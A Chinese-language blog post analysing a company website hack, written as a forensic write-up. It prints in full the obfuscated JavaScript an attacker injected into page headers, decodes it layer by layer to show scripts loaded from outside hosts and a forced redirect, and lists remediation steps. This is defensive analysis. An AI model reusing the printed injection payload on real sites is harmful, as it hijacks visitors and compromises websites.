上週公司的一個網站被 hack 了,這裡分享下攻擊者在伺服器上所做的趣事。
網站是 hosting 在一個比較老的伺服器上面,一直也沒出過什麼問題,被 hack 後,它會跳轉到另外一個網頁。
原因很簡單:HMTL head 裡面被載入了跳轉到其它頁面的 JS 程式碼!
JS 是怎麼被載入的
一開始以為是 XSS 攻擊,在檢查了資料庫和程式碼後排除了這個可能性,然後想到是不是伺服器的使用者密碼洩露了,後來證實確實是的,還好該使用者在伺服器上只有一些基本許可權,沒有造成比較嚴重的後果。
攻擊者在伺服器上面執行了一個簡單的 PHP Script,還刪除了記錄使用者執行命令的 bash history,不過我還是在 bash history 中看到了一些命令,比如:rm vqia9vfg.php
。
指令碼 vqia9vfg.php
所執行的是在 storage/framework/views
下 PHP 檔案裡查詢所有的 HTML head 元素,並且插入以下程式碼:
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 48, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));</script>
有趣的事情來了,這段程式碼到底幹了什麼?
JS 是如何運作的
首先需要簡單瞭解下 JS 的 String.fromCharCode 和 eval function。
因此以上的數字是 UTF-16 字串,你可以去這個網站解析下程式碼:http://jdstiles.com/java/cct.html ,得到的第一次結果如下:
var somestring = document.createElement('script');
somestring.type = 'text/javascript';
somestring.async = true;
somestring.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 120, 97, 109, 104, 111, 109, 101, 46, 110, 101, 116, 47, 115, 116, 97, 116, 46, 106, 115, 63, 118, 61, 49, 46, 48, 46, 50);
var alls = document.getElementsByTagName('script');
var nt3 = true;
for ( var i = alls.length; i--;) {
if (alls[i].src.indexOf(String.fromCharCode(101, 120, 97, 109, 104, 111, 109, 101)) > -1) {
nt3 = false;
}
}
if(nt3 == true) {
document.getElementsByTagName("head")[0].appendChild(somestring);
}
可以看到裡面還包含兩段字串,繼續解析:
var somestring = document.createElement('script');
somestring.type = 'text/javascript';
somestring.async = true;
somestring.src = 'https://examhome.net/stat.js?v=1.0.2';
var alls = document.getElementsByTagName('script');
var nt3 = true;
for (var i = alls.length; i--;) {
if (alls[i].src.indexOf('examhome') > -1) {
nt3 = false;
}
}
if (nt3 == true) {
document.getElementsByTagName("head")[0].appendChild(somestring);
}
以上程式碼會載入 https://examhome.net/stat.js?v=1.0.2 到頁面中(該連結已經無法開啟),那這段 JS 又是什麼?它其實會載入一段新的字串:
118, 97, 114, 32, 115, 105, 109, 112, 108, 101, 108, 101, 109, 101, 110, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 115, 105, 109, 112, 108, 101, 108, 101, 109, 101, 110, 116, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 10, 115, 105, 109, 112, 108, 101, 108, 101, 109, 101, 110, 116, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 57, 44, 32, 49, 49, 50, 44, 32, 53, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 55, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 49, 48, 57, 44, 32, 49, 49, 50, 44, 32, 53, 49, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 10, 115, 105, 109, 112, 108, 101, 108, 101, 109, 101, 110, 116, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 105, 109, 112, 108, 101, 108, 101, 109, 101, 110, 116, 41, 59
解析後得到如下程式碼:
var simplelement = document.createElement('script');
simplelement.type = 'text/javascript';
simplelement.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 109, 112, 51, 109, 101, 110, 117, 46, 111, 114, 103, 47, 109, 112, 51, 46, 106, 115);
simplelement.async = true;
document.getElementsByTagName("head")[0].appendChild(simplelement);
裡面還有字串,繼續解析:
var simplelement = document.createElement('script');
simplelement.type = 'text/javascript';
simplelement.src = 'https://mp3menu.org/mp3.js';
simplelement.async = true;
document.getElementsByTagName("head")[0].appendChild(simplelement);
此時又載入了一個新的的 JS 連結 https://mp3menu.org/mp3.js ,可以點開,它包含了以下程式碼:
eval(String.fromCharCode(40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 9, 9, 9, 105, 102, 32, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 105, 110, 100, 101, 120, 79, 102, 40, 34, 109, 112, 51, 109, 101, 110, 117, 61, 34, 41, 32, 62, 61, 32, 48, 41, 32, 123, 10, 10, 9, 9, 9, 125, 32, 101, 108, 115, 101, 32, 123, 10, 9, 9, 9, 32, 32, 101, 120, 112, 105, 114, 121, 32, 61, 32, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 59, 10, 9, 9, 9, 32, 32, 101, 120, 112, 105, 114, 121, 46, 115, 101, 116, 84, 105, 109, 101, 40, 101, 120, 112, 105, 114, 121, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 43, 40, 49, 48, 42, 54, 48, 42, 49, 48, 48, 48, 42, 54, 42, 56, 41, 41, 59, 10, 9, 9, 9, 32, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 32, 61, 32, 34, 109, 112, 51, 109, 101, 110, 117, 61, 121, 101, 115, 59, 32, 101, 120, 112, 105, 114, 101, 115, 61, 34, 32, 43, 32, 101, 120, 112, 105, 114, 121, 46, 116, 111, 71, 77, 84, 83, 116, 114, 105, 110, 103, 40, 41, 59, 10, 9, 9, 9, 32, 32, 118, 97, 114, 32, 109, 112, 51, 109, 101, 110, 117, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 57, 44, 32, 49, 49, 50, 44, 32, 53, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 55, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 49, 50, 44, 32, 49, 48, 52, 44, 32, 49, 49, 50, 41, 59, 10, 9, 9, 9, 32, 32, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 109, 112, 51, 109, 101, 110, 117, 41, 59, 10, 9, 9, 9, 32, 32, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 32, 61, 32, 109, 112, 51, 109, 101, 110, 117, 59, 10, 9, 9, 9, 125, 10, 32, 32, 125, 41, 40, 41, 59));
我也是醉了,只能繼續解析:
(function () {
if (document.cookie.indexOf("mp3menu=") >= 0) {
} else {
expiry = new Date();
expiry.setTime(expiry.getTime() + (10 * 60 * 1000 * 6 * 8));
document.cookie = "mp3menu=yes; expires=" + expiry.toGMTString();
var mp3menu = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 109, 112, 51, 109, 101, 110, 117, 46, 111, 114, 103, 47, 114, 101, 100, 46, 112, 104, 112);
window.location.replace(mp3menu);
window.location.href = mp3menu;
}
})();
感覺終於看見曙光了,最後一次解析,得到最終如下程式碼:
(function () {
if (document.cookie.indexOf("mp3menu=") >= 0) {
} else {
expiry = new Date();
expiry.setTime(expiry.getTime() + (10 * 60 * 1000 * 6 * 8));
document.cookie = "mp3menu=yes; expires=" + expiry.toGMTString();
var mp3menu = 'https://mp3menu.org/red.php';
window.location.replace(mp3menu);
window.location.href = mp3menu;
}
})();
非常明顯了,網頁會被跳轉到 https://mp3menu.org/red.php ,被 Hack 的網站的首頁就自動跳轉到了該頁面。
其它的發現
頁面其實還會載入另外一個 PHP 平臺連結,它是用了 Open Analytics Platform Matomo 去記錄被 hack 的網站的名稱,URL等。
小結
開發不易,安全太重要!!!
當時立即採取的措施是:
- 更新密碼,重新檢查該使用者的許可權。
- 除了公司 IP 之外,block 掉了所有 IP 地址的 SSH 登入。
- 如果想在其它地方登入:因為公司有個 diskstation 伺服器,所以配置了 ssh tunnel through diskstation - 通過 diskstation 再進入伺服器。當然進入 diskstation 必須使用 authorized keys,所以安全性得到了很大的提高。